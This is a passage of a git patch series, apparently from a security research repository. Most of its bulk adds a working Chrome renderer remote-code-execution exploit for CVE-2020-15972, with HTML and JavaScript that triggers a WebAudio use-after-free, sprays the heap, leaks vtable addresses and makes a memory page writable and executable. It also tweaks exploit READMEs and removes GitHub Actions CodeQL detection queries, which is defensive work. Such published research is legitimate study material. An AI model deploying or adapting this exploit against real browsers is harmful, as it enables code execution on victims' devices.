+The exploit is tested on Samsung Galaxy A71 with firmware version A715FXXU3ATJ2, Baseband A715FXXU3ATI5 and Kernel version 4.14.117-19828683. The offsets in the exploit refers to that version of the firmware. For different models of phones, the macro `DMA_ADDRESS`, which indicates the address of the SWIOTLB buffer, will also need to be changed.
 
 The exploit is reasonably reliable, although it does need to wait a few minutes after start up, after the kernel activities settled down before running.
 
diff --git a/SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/README.md b/SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/README.md
index 8d4a127..af56066 100644
--- a/SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/README.md
+++ b/SecurityExploits/Chrome/SandboxEscape/GHSL-2020-165/README.md
@@ -13,7 +13,7 @@ symbol_level = 1
 blink_symbol_level = 1
 ```
 
-The exploit is tested on Samsung Galaxy A71 with firmware version A715FXXUATJ2, Baseband A715FXXU3ATI5 and Kernel version 4.14.117-19828683. The offsets in the exploit assume this version of the firmware. For other firmware, use the offsets in the corresponding libraries `libhwui.so` and `libc.so` under `system/lib64`. (64 bit) It requires production firmware on the phone and would fail on emulators and phones with development firmware (i.e. OS built from AOSP source) The actual offsets of these libraries also needs to be updated to the ones obtained from the compromised renderer.
+The exploit is tested on Samsung Galaxy A71 with firmware version A715FXXU3ATJ2, Baseband A715FXXU3ATI5 and Kernel version 4.14.117-19828683. The offsets in the exploit assume this version of the firmware. For other firmware, use the offsets in the corresponding libraries `libhwui.so` and `libc.so` under `system/lib64`. (64 bit) It requires production firmware on the phone and would fail on emulators and phones with development firmware (i.e. OS built from AOSP source) The actual offsets of these libraries also needs to be updated to the ones obtained from the compromised renderer.
 
 It should succeed most of the time and rarely crash. If successful, it'll run the shell command in the `command` variable in the file `payment_request_clip.html`, which would create a file called `pwn` under the directory `/data/data/org.chromium.chrome/`. It can be replaced with other shell commands.
 

From 65f05a5bd29237e08b860ab51c8e7c471ea239b3 Mon Sep 17 00:00:00 2001
From: Man Yue Mo <m-y-mo@github.com>
Date: Fri, 19 Mar 2021 11:55:47 +0000
Subject: [PATCH 035/104] Add CVE-2020-15972

---
 .../Chrome/blink/CVE-2020-15972/README.md     |  31 ++
 .../Chrome/blink/CVE-2020-15972/out2.mp3      | Bin 0 -> 477 bytes
 .../Chrome/blink/CVE-2020-15972/tear-down.js  |  15 +
 .../blink/CVE-2020-15972/tear_down2.html      |  51 ++++
 .../CVE-2020-15972/tear_down2_virtual.html    |  37 +++
 .../tear_down_android_rce_release.html        | 279 ++++++++++++++++++
 6 files changed, 413 insertions(+)
 create mode 100644 SecurityExploits/Chrome/blink/CVE-2020-15972/README.md
 create mode 100644 SecurityExploits/Chrome/blink/CVE-2020-15972/out2.mp3
 create mode 100644 SecurityExploits/Chrome/blink/CVE-2020-15972/tear-down.js
 create mode 100644 SecurityExploits/Chrome/blink/CVE-2020-15972/tear_down2.html
 create mode 100644 SecurityExploits/Chrome/blink/CVE-2020-15972/tear_down2_virtual.html
 create mode 100644 SecurityExploits/Chrome/blink/CVE-2020-15972/tear_down_android_rce_release.html

diff --git a/SecurityExploits/Chrome/blink/CVE-2020-15972/README.md b/SecurityExploits/Chrome/blink/CVE-2020-15972/README.md
new file mode 100644
index 0000000..2d4041d
--- /dev/null
+++ b/SecurityExploits/Chrome/blink/CVE-2020-15972/README.md
@@ -0,0 +1,31 @@
+## Chrome renderer RCE CVE-2020-15972
+
+The write up can be found [here](https://securitylab.github.com/research/one_day_short_of_a_fullchain_renderer). This is a bug in Chrome that I reported in September 2020 that is a duplicate of [1115901](https://bugs.chromium.org/p/chromium/issues/detail?id=1115901) and was credited to an anonymous researcher. The GitHub Advisory can be found [here](https://securitylab.github.com/advisories/GHSL-2020-167-chrome) and the Chrome issue that I filed [here](https://bugs.chromium.org/p/chromium/issues/detail?id=1125635). The bug can be used to escape the Chrome sandbox from a compromised renderer.
+
+The exploit is tested on the 64 bit beta version 86.0.4240.30 of Chrome with the following build config (`args.gn`), although it affected the stable version 85 of Chrome also:
+
+```
+target_os = "android"
+target_cpu = "arm64"
+is_java_debug = false
+is_debug = false
+symbol_level = 1
+blink_symbol_level = 1
+```
+and build the target `chrome_public_apk`.
+
+The exploit is tested on Samsung Galaxy A71 with firmware version A715FXXU3ATJ2, Baseband A715FXXU3ATI5 and Kernel version 4.14.117-19828683 and also Pixel 4 with AOSP build ID `aosp_flame-userdebug 10 QQ3A.200805.001`. Both runs reliably, although a clean renderer process is needed to launch the exploit, which would be the case when a link is clicked from a logged in site, such as email or twitter. On Pixel 3a, the heap spray is off by one object, so there is probably some degrees of dependencies on devices or OS. (Pixel 3a runs kernel version 4.9, whereas the other 2 devices run kernel 4.14, although when it failed on Pixel 3 it'll most likely just throw an exception instead of crashing the renderer) It is very unlikely that it will work on emulators without modifications to the heap spray.
+
+To test, serve the files in this directory from localhost and open `tear_down_android_rce_release.html` with `chrome://inspect/#devices` on the device in a new tab. (or do the following from the host machine, which works on Pixel 4 but not on Galaxy A71:
+```
+out/<target>/bin/chrome_public_apk run "http://localhost:8000/tear_down_android_rce_release.html"
+```
+)
+
+This is the easiest way to ensure that a new renderer process is used for the content (without having to click on it from a logged in context) It should succeed most of the time. When succeeded, The address of a page whose permissioin is overwritten to `rwx` will be displayed. This can then be verified with `adb`.
+
+The file `out2.mp3` in this directory is a blank `mp3` file that can be generated using `ffmpeg` with the following command:
+
+```
+ffmpeg -f lavfi -i anullsrc=r=4000:cl=mono -t 0.00675 -q:a 9 -acodec libmp3lame out2.mp3
+```
diff --git a/SecurityExploits/Chrome/blink/CVE-2020-15972/out2.mp3 b/SecurityExploits/Chrome/blink/CVE-2020-15972/out2.mp3
new file mode 100644
index 0000000000000000000000000000000000000000..eaab899fc11c659712b0d7f745f4f90cbea6469c
GIT binary patch
literal 477
zcmeZtF=k-^0p*b3U{@f`&%nU!lUSB!YN2Ojsb^?l0G5Ri{~uc%fO9?b((-{Epn3*o
z1_s6r466u%tAxORLI7kr&~eE?$C;XdI542X;ss$cZurg>{S_umB>n%f#1WuUW)F~h
eA4gwTW01!~Nd_QutYPMmtQ(;LWKJ0s%mD!YoTiZg

literal 0
HcmV?d00001

diff --git a/SecurityExploits/Chrome/blink/CVE-2020-15972/tear-down.js b/SecurityExploits/Chrome/blink/CVE-2020-15972/tear-down.js
new file mode 100644
index 0000000..dbda995
--- /dev/null
+++ b/SecurityExploits/Chrome/blink/CVE-2020-15972/tear-down.js
@@ -0,0 +1,15 @@
+// white-noise-processor.js
+function sleep(miliseconds) {
+   var currentTime = new Date().getTime();
+   while (currentTime + miliseconds >= new Date().getTime()) {
+   }
+}
+
+class AutoProcessor extends AudioWorkletProcessor {
+  process (inputs, outputs, parameters) {
+    sleep(5000);
+    return true
+  }
+}
+
+registerProcessor('tear-down', AutoProcessor)
diff --git a/SecurityExploits/Chrome/blink/CVE-2020-15972/tear_down2.html b/SecurityExploits/Chrome/blink/CVE-2020-15972/tear_down2.html
new file mode 100644
index 0000000..6404832
--- /dev/null
+++ b/SecurityExploits/Chrome/blink/CVE-2020-15972/tear_down2.html
@@ -0,0 +1,51 @@
+<!DOCTYPE html>
+<html>
+<head>
+<script>
+const inputs = 2;
+function sleep(miliseconds) {
+   var currentTime = new Date().getTime();
+   while (currentTime + miliseconds >= new Date().getTime()) {
+   }
+}
+
+async function playSourceNode(audioContext) {
+  let soundSources = [];
+  let soundSource1 = audioContext.createConstantSource();
+  soundSources.push(soundSource1);
+  await audioContext.audioWorklet.addModule('tear-down.js');
+  let worklet;
+  worklet = new AudioWorkletNode(audioContext, 'tear-down');
+  let merger = audioContext.createChannelMerger(32);
+  soundSources.push(audioContext.createConstantSource());
+  soundSource1.connect(worklet).connect(merger, 0, 0);
+  soundSources[1].connect(merger, 0, 1);
+  merger.connect(audioContext.destination);
+  for (let i = 0; i < inputs; i++) {
+    soundSources[i].start();
+  }
+  return [soundSources, worklet];
+}
+
+function onLoad() {
+	let audioCtx = new OfflineAudioContext(2,44100, 44100);
+    playSourceNode(audioCtx).then((src)=>{
+
+      for (let i = 0; i < 100; i++) {
+        audioCtx.createConstantSource().start();
+      }
+
+      audioCtx.startRendering();
+      sleep(200);
+      src[1].disconnect();
+      for (let i = 0; i < src[0].length; i++) {
+        src[0][i].disconnect();
+      }
+      parent.remove();
+    });
+}
+
+</script>
+</head>
+<body onload="onLoad()"/>
+</html>
diff --git a/SecurityExploits/Chrome/blink/CVE-2020-15972/tear_down2_virtual.html b/SecurityExploits/Chrome/blink/CVE-2020-15972/tear_down2_virtual.html
new file mode 100644
index 0000000..e3c759b
--- /dev/null
+++ b/SecurityExploits/Chrome/blink/CVE-2020-15972/tear_down2_virtual.html
@@ -0,0 +1,37 @@
+<!DOCTYPE html>
+<html>
+<head>
+<script>
+const inputs = 1;
+function sleep(miliseconds) {
+   var currentTime = new Date().getTime();
+   while (currentTime + miliseconds >= new Date().getTime()) {
+   }
+}
+
+async function playSourceNode(audioContext) {
+  let soundSource1 = audioContext.createConstantSource();
+  await audioContext.audioWorklet.addModule('tear-down.js');
+  let worklet;
+  worklet = new AudioWorkletNode(audioContext, 'tear-down');
+  let delay = audioContext.createDelay(0.01);
+  soundSource1.connect(worklet).connect(delay).connect(audioContext.destination);
+  soundSource1.start();
+  return [soundSource1, worklet];
+}
+
+function onLoad() {
+	let audioCtx = new OfflineAudioContext(1,44100, 44100);
+    playSourceNode(audioCtx).then((src)=>{
+      audioCtx.startRendering();
+      sleep(200);
+      src[0].disconnect();
+      src[1].disconnect();
+      parent.removeVirtual();
+    });
+}
+
+</script>
+</head>
+<body onload="onLoad()"/>
+</html>
diff --git a/SecurityExploits/Chrome/blink/CVE-2020-15972/tear_down_android_rce_release.html b/SecurityExploits/Chrome/blink/CVE-2020-15972/tear_down_android_rce_release.html
new file mode 100644
index 0000000..c30e406
--- /dev/null
+++ b/SecurityExploits/Chrome/blink/CVE-2020-15972/tear_down_android_rce_release.html
@@ -0,0 +1,279 @@
+<html>
+<head>
+<script>
+
+const audioCtx = new OfflineAudioContext(1, 8000, 8000);
+const buffer = audioCtx.createBuffer(2, 1, 44100);
+const audioCtx2 = new OfflineAudioContext(1, 44100, 44100);
+const script1 = audioCtx2.createScriptProcessor(256, 1, 1);
+const script2 = audioCtx2.createScriptProcessor(256, 1, 1);
+const audioCtx3 = new OfflineAudioContext(1, 4096, 4096);
+const biquadVtableOffset = 0x64021c0n + 0x10n;
+const osSetPermissionsOffset = 0x4e65a68n;
+const poly4ArgsInvokerOffset = 0x2092434n;
+const noOptRetOffset = 0x5d0c9b4n;
+const bindStateOffset = 50n;
+
+
+const src = audioCtx2.createConstantSource();
+response = null;
+nodes = [];
+sources = [];
+addr = null;
+delayNodeArr = [];
+audioCtxArr = [];
+
+function gc() {
+  let x = [];
+  for (let i = 0; i < 100; i++) {
+    x.push(new Array(1024 * 1024));
+  }
+
+}
+//Some times a bigger memory allocation is needed to trigger gc
+function gc2() {
+  let x = [];
+  for (let i = 0; i < 200; i++) {
+    x.push(new Array(1024 * 1024));
+  }
+}
+
+
+function fetchData() {
+  var request = new XMLHttpRequest();
+  request.open('GET', 'out2.mp3', true);
+  request.responseType = 'arraybuffer';
+  request.onload = () => {
+    response = request.response;
+  }
+  request.send();
+}
+
+function sleep(miliseconds) {
+   var currentTime = new Date().getTime();
+   while (currentTime + miliseconds >= new Date().getTime()) {
+   }
+}
+
+function convertAddress(float1, float2) {
+  let buf = new ArrayBuffer(8);
+  let BigUIntView = new BigUint64Array(buf);
+  let floatView = new Float32Array(buf);
+  floatView[0] = float1;
+  floatView[1] = float2;
+  return BigUIntView[0];
+}
+
+function calculatePageStart(address) {
+  return address & (-4096n)
+}
+
+function writeData(addr, data) {
+  let bigUint64View = new BigUint64Array(data.buffer);
+  let baseAddr = addr.vtable - biquadVtableOffset;
+  //fake vtable, fill it all with nopt
+  for (let i = 0; i < 50; i++) {
+    bigUint64View[i] = baseAddr + noOptRetOffset;
+  }
+  //The actual function to call, which is PropagateSilence.
+  bigUint64View[14] = baseAddr + poly4ArgsInvokerOffset;
+  //Can write shell code to the rest of the page buffer.
+}
+
+function scriptProcess(audioProcessingEvent) {
+  var s = ""
+  var inputBuffer = audioProcessingEvent.inputBuffer;
+  for (var channel = 0; channel < inputBuffer.numberOfChannels; channel++) {
+    var inputData = inputBuffer.getChannelData(channel);
+    for (let i = 0; i < inputBuffer.length; i++) {
+      if (inputData[i] != 0) {
+        addr = computeBiquadAddresses(inputData, i);
+        break;
+      }
+    }
+  }
+  gc2();
+  for (let i = 0; i < 60; i++) {
+    let audioCtxDelay = new OfflineAudioContext(1, 4096, 4096);
+    let delayNode = audioCtxDelay.createDelay(0.03125);
+    audioCtxArr.push(audioCtxDelay);
+    delayNodeArr.push(delayNode);
+  }
+  let buffer = audioCtx3.createBuffer(1, 256, 4096);
+  let data = buffer.getChannelData(0);
+  writeData(addr, data);
+  for (let i = 0; i < delayNodeArr.length; i++) {
+    let audioCtxDelay = audioCtxArr[i];
+    let delayNode = delayNodeArr[i];
+    let srcNode = audioCtxDelay.createBufferSource();
+    srcNode.buffer = buffer;
+    srcNode.connect(delayNode).connect(audioCtxDelay.destination);
+    audioCtxDelay.suspend(256/4096.0);
+    srcNode.start();
+    audioCtxDelay.startRendering();
+  }
+  sleep(1000);
+  createVirtualCallFrame();
+}
+
+function computeBiquadAddresses(inputBuffer, offset) {
+  let out = "";
+  let vtableAddr = convertAddress(inputBuffer[offset], inputBuffer[offset + 1]);
+  out += "Biquad vtable: 0x" + vtableAddr.toString(16) + "\n";
+  let b0 = convertAddress(inputBuffer[offset + 8], inputBuffer[offset + 9]);
+  out += "b0: 0x" + b0.toString(16) + "\n";
+  let b1 = convertAddress(inputBuffer[offset + 16], inputBuffer[offset + 17]);
+  out += "b1: 0x" + b1.toString(16) + "\n";
+  let b2 = convertAddress(inputBuffer[offset + 20], inputBuffer[offset + 21]);
+  out += "b2: 0x" + b2.toString(16) + "\n";
+  let a1 = convertAddress(inputBuffer[offset + 28], inputBuffer[offset + 29]);
+  out += "a1: 0x" + a1.toString(16) + "\n";
+  let a2 = convertAddress(inputBuffer[offset + 32], inputBuffer[offset + 33]);
+  out += "a2: 0x" + a2.toString(16) + "\n";
+  let baseAddr = vtableAddr - biquadVtableOffset;
+  return {vtable: vtableAddr, b0: b0, b1: b1, b2: b2, a1: a1, a2: a2}
+}
+
+function createSource() {
+  let s = audioCtx.createChannelMerger(3);
+}
+
+function delay() {
+  sleep(5);
+}
+
+function scriptProcess2(audioProcessingEvent) {
+  //Need to use for creating holes for AudioOutputNode, so they don't get reclaim
+  createSource();
+  for (let i = 0; i < 1000; i++) {
+    setTimeout(delay, 0);
+  }
+  script2.disconnect();
+  gc2();
+  //Needs to wait for the small objects allocated by GC to clear
+  sleep(4000);
+  //Reclaim gain
+  let gain = audioCtx2.createGain();
+  //Just to arrange the heap
+  let src0 = audioCtx2.createChannelMerger(1);
+  audioCtx.decodeAudioData(response);
+  for (let i = 2; i < 14; i+=2) {
+    nodes[i] = null;
+  }
+  sleep(10);
+}
+
+function allocateNodes() {
+  for (let i = 0; i < 18; i++) {
+    nodes.push(audioCtx.createBiquadFilter());
+  }
+}
+
+function createIframe() {
+  allocateNodes();
+  nodes[1] = null;
+  nodes[3] = null;
+  nodes[5] = null;
+  nodes[7] = null;
+  nodes[9] = null;
+  nodes[11] = null;
+
+  fetchData();
+  script1.channelCountMode = 'explicit';
+  script1.channelCount = 1;
+  script2.channelCount = 1;
+  src.start();
+  let iframe = document.createElement('iframe');
+  iframe.style.display="none";
+  iframe.setAttribute('id', 'ifrm');
+  iframe.src = 'tear_down2.html';
+  document.body.appendChild(iframe);
+}
+
+function createChain(merger) {
+  let gain = audioCtx2.createGain();
+  gain.channelCountMode = 'explicit';
+  gain.channelCount = 1;
+  src.channelCount = 1;
+  merger.channelCount = 1;
+  src.connect(script2).connect(gain).connect(script1).connect(merger, 0, 2).connect(audioCtx2.destination);
+  src.stop();
+}
+
+function remove() {
+  gc();
+  let frame = document.getElementById("ifrm");
+  frame.parentNode.removeChild(frame);
+  merger = audioCtx2.createChannelMerger(32);
+  merger.channelCountMode = 'explicit';
+  createChain(merger);
+  audioCtx2.suspend(128/44100);
+  audioCtx2.startRendering();
+  sleep(1000);
+  script1.onaudioprocess = scriptProcess;
+  script2.onaudioprocess = scriptProcess2;
+}
+
+function createVirtualCallFrame() {
+  let baseAddr = addr.vtable - biquadVtableOffset;
+  let text = document.createElement('textarea');
+  let out = "baseAddr: 0x" + (addr.vtable - biquadVtableOffset).toString(16) + "\n";
+  out += "Page to grant rwx: 0x" + calculatePageStart(addr.b0).toString(16) + "\n";
+  out += "Controlled area of size 1152 byte starts from: 0x" + addr.b0.toString(16);
+  text.rows = 4;
+  text.cols = 50;
+  text.value = out;
+
+  let iframe = document.createElement('iframe');
+  iframe.style.display="none";
+  iframe.setAttribute('id', 'ifrm');
+  iframe.src = 'tear_down2_virtual.html';
+  document.body.appendChild(iframe);
+  document.body.appendChild(text);
+}
+
+function removeVirtual() {
+  //feedForward will be used to fake a delay node deleted in child frame
+  let feedForward = new Array(16);
+  let feedBack = [1, 1, 1];
+  let vtableBuf = new ArrayBuffer(8);
+  let b0Buf = new ArrayBuffer(8);
+
+  let vTableView = new BigUint64Array(vtableBuf);
+  let b0View = new BigUint64Array(b0Buf);
+  vTableView[0] = addr.vtable;
+  b0View[0] = addr.b0;
+  let b0DoubleView = new Float64Array(b0Buf);
+  feedForward.fill(0);
+  feedForward[13] = 1;
+  feedForward[0] = b0DoubleView[0];
+  let functionBuf = new ArrayBuffer(32);
+  let functionBigIntView = new BigUint64Array(functionBuf);
+  let baseAddr = addr.vtable - biquadVtableOffset;
+
+  functionBigIntView[0] = baseAddr + osSetPermissionsOffset;
+  functionBigIntView[1] = calculatePageStart(addr.b0);
+  functionBigIntView[2] = 0x2000n;
+  functionBigIntView[3] = 0x03n;
+  let functionFloatView = new Float64Array(functionBuf);
+
+  feedForward[5] = functionFloatView[1];
+  feedForward[4] = functionFloatView[0];
+  feedForward[6] = functionFloatView[2];
+  feedForward[7] = functionFloatView[3];
+
+  gc();
+
+  let frame = document.getElementById("ifrm");
+  frame.parentNode.removeChild(frame);
+  const iirFilter = audioCtx3.createIIRFilter(feedForward, feedBack);
+  const delayNode = audioCtx3.createDelay(0.01);
+  sleep(10000);
+}
+
+
+</script>
+</head>
+<body onload="createIframe()">
+</body>
+</html>

From a00759d4f120360c736d9adff8e7a33b2c722ab9 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Jaroslav=20Loba=C4=8Devski?= <jarlob@github.com>
Date: Fri, 19 Mar 2021 23:21:59 +0200
Subject: [PATCH 036/104] Update links to the merged actions queries

---
 README.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index 0cc0268..b1d530d 100644
--- a/README.md
+++ b/README.md
@@ -31,8 +31,8 @@ We use it for these main purposes:
 * C#
   * [C# Zip Slip demo](CodeQL_Queries/csharp/ZipSlip)
 * GitHub Actions:
-  * [pull_request_target with explicit pull request checkout](CodeQL_Queries/actions/pull_request_target.ql)
-  * [Command injection from user-controlled Actions context](CodeQL_Queries/actions/script_injections.ql)
+  * [pull_request_target with explicit pull request checkout](https://github.com/github/codeql/blob/main/javascript/ql/src/experimental/Security/CWE-094/UntrustedCheckout.ql)
+  * [Command injection from user-controlled Actions context](https://github.com/github/codeql/blob/main/javascript/ql/src/experimental/Security/CWE-094/ExpressionInjection.ql)
 
 ### Videos
 

From 0ce37ee36d9e1b3a6d62d1a7ebcb6e91d58e58b9 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Jaroslav=20Loba=C4=8Devski?= <jarlob@gmail.com>
Date: Fri, 19 Mar 2021 23:30:55 +0200
Subject: [PATCH 037/104] deleted outdated ql files

---
 CodeQL_Queries/actions/README.md              |   4 +-
 CodeQL_Queries/actions/pull_request_target.ql | 342 -----------------
 CodeQL_Queries/actions/script_injections.ql   | 353 ------------------
 3 files changed, 2 insertions(+), 697 deletions(-)
 delete mode 100644 CodeQL_Queries/actions/pull_request_target.ql
 delete mode 100644 CodeQL_Queries/actions/script_injections.ql

diff --git a/CodeQL_Queries/actions/README.md b/CodeQL_Queries/actions/README.md
index 8e44a1a..675a2d2 100644
--- a/CodeQL_Queries/actions/README.md
+++ b/CodeQL_Queries/actions/README.md
@@ -1,2 +1,2 @@
-Created by @adityasharad, extended by @jarlob.  
-Read more on [https://securitylab.github.com/research/github-actions-untrusted-input](https://securitylab.github.com/research/github-actions-untrusted-input).
+The querie were merged into [CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/experimental/Security/CWE-094).  
+Read more about the research on [https://securitylab.github.com/research/github-actions-untrusted-input](https://securitylab.github.com/research/github-actions-untrusted-input).
diff --git a/CodeQL_Queries/actions/pull_request_target.ql b/CodeQL_Queries/actions/pull_request_target.ql
deleted file mode 100644
index 28081dd..0000000
--- a/CodeQL_Queries/actions/pull_request_target.ql
+++ /dev/null
@@ -1,342 +0,0 @@
-/**
- * @name pull_request_target with explicit pull request checkout
- * @description Workflows triggered on `pull_request_target` have read/write tokens for the base repository and the access to secrets.
- *              By explicitly checking out and running the build script from a fork the untrusted code is running in an environment
- *              that is able to push to the base repository and to access secrets.
- * @id javascript/actions/pull_request_target
- * @kind problem
- * @problem.severity warning
- */
-
-import javascript
-
-/**
- * Libraries for modelling GitHub Actions workflow files written in YAML.
- * See https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions.
- */
-module Actions {
-  /** A YAML node in a GitHub Actions workflow file. */
-  class Node extends YAMLNode {
-    Node() { this.getLocation().getFile().getRelativePath().matches(".github/workflows/%") }
-  }
-
-  /**
-   * An Actions workflow. This is a mapping at the top level of an Actions YAML workflow file.
-   * See https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions.
-   */
-  class Workflow extends Node, YAMLDocument, YAMLMapping {
-    /** Gets the `jobs` mapping from job IDs to job definitions in this workflow. */
-    YAMLMapping getJobs() { result = this.lookup("jobs") }
-
-    /** Gets the name of the workflow file. */
-    string getFileName() { result = this.getFile().getBaseName() }
-
-    /** Gets the `on:` in this workflow. */
-    On getOn() { result = this.lookup("on") }
-
-    /** Gets the job within this workflow with the given job ID. */
-    Job getJob(string jobId) { result.getWorkflow() = this and result.getId() = jobId }
-  }
-
-  /**
-   * An Actions job within a workflow.
-   * See https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#jobs.
-   */
-  class Job extends YAMLNode, YAMLMapping {
-    string jobId;
-    Workflow workflow;
-
-    Job() { this = workflow.getJobs().lookup(jobId) }
-
-    /**
-     * Gets the ID of this job, as a string.
-     * This is the job's key within the `jobs` mapping.
-     */
-    string getId() { result = jobId }
-
-    /**
-     * Gets the ID of this job, as a YAML scalar node.
-     * This is the job's key within the `jobs` mapping.
-     */
-    YAMLString getIdNode() { workflow.getJobs().maps(result, this) }
-
-    /** Gets the human-readable name of this job, if any, as a string. */
-    string getName() { result = this.getNameNode().getValue() }
-
-    /** Gets the human-readable name of this job, if any, as a YAML scalar node. */
-    YAMLString getNameNode() { result = this.lookup("name") }
-
-    /** Gets the step at the given index within this job. */
-    Step getStep(int index) { result.getJob() = this and result.getIndex() = index }
-
-    /** Gets the sequence of `steps` within this job. */
-    YAMLSequence getSteps() { result = this.lookup("steps") }
-
-    /** Gets the workflow this job belongs to. */
-    Workflow getWorkflow() { result = workflow }
-
-    /** Gets the value of the `if` field in this job, if any. */
-    JobIf getIf() { result.getJob() = this }
-  }
-
-  class JobIf extends YAMLNode, YAMLScalar {
-    Job job;
-
-    JobIf() {
-      job.lookup("if") = this
-    }
-
-    /** Gets the step this field belongs to. */
-    Job getJob() { result = job }
-  }
-
-  /**
-   * A step within an Actions job.
-   * See https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#jobsjob_idsteps.
-   */
-  class Step extends YAMLNode, YAMLMapping {
-    int index;
-    Job job;
-
-    Step() { this = job.getSteps().getElement(index) }
-
-    /** Gets the 0-based position of this step within the sequence of `steps`. */
-    int getIndex() { result = index }
-
-    /** Gets the job this step belongs to. */
-    Job getJob() { result = job }
-
-    /** Gets the value of the `uses` field in this step, if any. */
-    Uses getUses() { result.getStep() = this }
-
-    /** Gets the value of the `run` field in this step, if any. */
-    Run getRun() { result.getStep() = this }
-
-    /** Gets the value of the `if` field in this step, if any. */
-    StepIf getIf() { result.getStep() = this }
-  }
-
-  class StepIf extends YAMLNode, YAMLScalar {
-    Step step;
-
-    StepIf() {
-      step.lookup("if") = this
-    }
-
-    /** Gets the step this field belongs to. */
-    Step getStep() { result = step }
-  }
-
-  /**
-   * A `uses` field within an Actions job step, which references an action as a reusable unit of code.
-   * See https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsuses.
-   *
-   * For example:
-   * ```
-   * uses: actions/checkout@v2
-   * ```
-   * TODO: Does not currently handle local repository references, e.g. `.github/actions/action-name`.
-   */
-  class Uses extends YAMLNode, YAMLScalar {
-    Step step;
-    /** The owner of the repository where the Action comes from, e.g. `actions` in `actions/checkout@v2`. */
-    string repositoryOwner;
-    /** The name of the repository where the Action comes from, e.g. `checkout` in `actions/checkout@v2`. */
-    string repositoryName;
-    /** The version reference used when checking out the Action, e.g. `v2` in `actions/checkout@v2`. */
-    string version;
-
-    Uses() {
-      step.lookup("uses") = this and
-      // Simple regular expression to split up an Action reference `owner/repo@version` into its components.
-      exists(string regexp | regexp = "([^/]+)/([^/@]+)@(.+)" |
-        repositoryOwner = this.getValue().regexpCapture(regexp, 1) and
-        repositoryName = this.getValue().regexpCapture(regexp, 2) and
-        version = this.getValue().regexpCapture(regexp, 3)
-      )
-    }
-
-    /** Gets the step this field belongs to. */
-    Step getStep() { result = step }
-
-    /** Gets the owner and name of the repository where the Action comes from, e.g. `actions/checkout` in `actions/checkout@v2`. */
-    string getGitHubRepository() { result = repositoryOwner + "/" + repositoryName }
-
-    /** Gets the version reference used when checking out the Action, e.g. `v2` in `actions/checkout@v2`. */
-    string getVersion() { result = version }
-  }
-
-  class MappingOrSequenceOrScalar extends YAMLNode {
-    MappingOrSequenceOrScalar() {
-      this instanceof YAMLMapping
-      or
-      this instanceof YAMLSequence
-      or
-      this instanceof YAMLScalar
-    }
-
-    YAMLNode getNode(string name) {
-      exists(YAMLMapping mapping |
-        mapping = this and
-        result = mapping.lookup(name)
-      )
-      or
-      exists(YAMLSequence sequence, YAMLNode node |
-        sequence = this and
-        sequence.getAChildNode() = node and
-        node.eval().toString() = name and
-        result = node
-      )
-      or
-      exists(YAMLScalar scalar |
-        scalar = this and
-        scalar.getValue() = name and
-        result = scalar
-      )
-    }
-
-    int getElementCount() {
-      exists(YAMLMapping mapping |
-        mapping = this and
-        result = mapping.getNumChild() / 2
-      )
-      or
-      exists(YAMLSequence sequence |
-        sequence = this and
-        result = sequence.getNumChild()
-      )
-      or
-      exists(YAMLScalar scalar |
-        scalar = this and
-        result = 1
-      )
-    }
-  }
-
-  class On extends YAMLNode, MappingOrSequenceOrScalar {
-    Workflow workflow;
-
-    On() { workflow.lookup("on") = this }
-
-    Workflow getWorkflow() { result = workflow }
-  }
-
-  class With extends YAMLNode, YAMLMapping {
-    Step step;
-
-    With() { step.lookup("with") = this }
-
-    /** Gets the step this field belongs to. */
-    Step getStep() { result = step }
-  }
-
-  class Ref extends YAMLNode, YAMLString {
-    With with;
-
-    Ref() { with.lookup("ref") = this }
-
-    With getWith() { result = with }
-  }
-
-  /**
-   * A `run` field within an Actions job step, which runs command-line programs using an operating system shell.
-   * See https://docs.github.com/en/free-pro-team@latest/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsrun.
-   */
-  class Run extends YAMLNode, YAMLString {
-    Step step;
-
-    Run() { step.lookup("run") = this }
-
-    /** Gets the step that executes this `run` command. */
-    Step getStep() { result = step }
-
-    /**
-     * Holds if `${{ e }}` is a GitHub Actions expression evaluated within this `run` command.
-     * See https://docs.github.com/en/free-pro-team@latest/actions/reference/context-and-expression-syntax-for-github-actions.
-     */
-    string getAReferencedExpression() {
-      // We use `regexpFind` to obtain *all* matches of `${{...}}`,
-      // not just the last (greedy match) or first (reluctant match).
-      // TODO: This only handles expression strings that refer to contexts.
-      // It does not handle operators within the expression.
-      result =
-        this.getValue().regexpFind("(?<=\\$\\{\\{\\s*)[A-Za-z0-9_\\.\\-]+(?=\\s*\\}\\})", _, _)
-    }
-  }
-}
-
-// TODO: Cannot yet treat these as DataFlow::Nodes, because YAMLValue is inconvertible to Expr.
-/**
- * Holds if `child` is the qualified name of a GitHub Actions context nested as
- * a property of the GitHub Actions context with qualified name `parent`.
- * For example, `github.event.issue.body` is a child of `github.event.issue`.
- */
-bindingset[child]
-predicate nestedContext(string parent, string child) {
-  parent = child.regexpCapture("([A-Za-z0-9_\\.\\-]+)\\.[A-Za-z0-9_\\-]+", 1)
-}
-
-bindingset[context]
-private predicate isExternalUserControlledIssue(string context) {
-  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*issue\\s*\\.\\s*title\\b") or
-  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*issue\\s*\\.\\s*body\\b")
-}
-
-bindingset[context]
-private predicate isExternalUserControlledPullRequest(string context) {
-  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*pull_request\\s*\\.\\s*title\\b") or
-  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*pull_request\\s*\\.\\s*body\\b") or
-  context.regexpMatch("\\bgithub\\s*\\.\\s*event\\s*\\.\\s*pull_request\\s*\\.\\s*head\\s*\\.\\s*label\\b") or
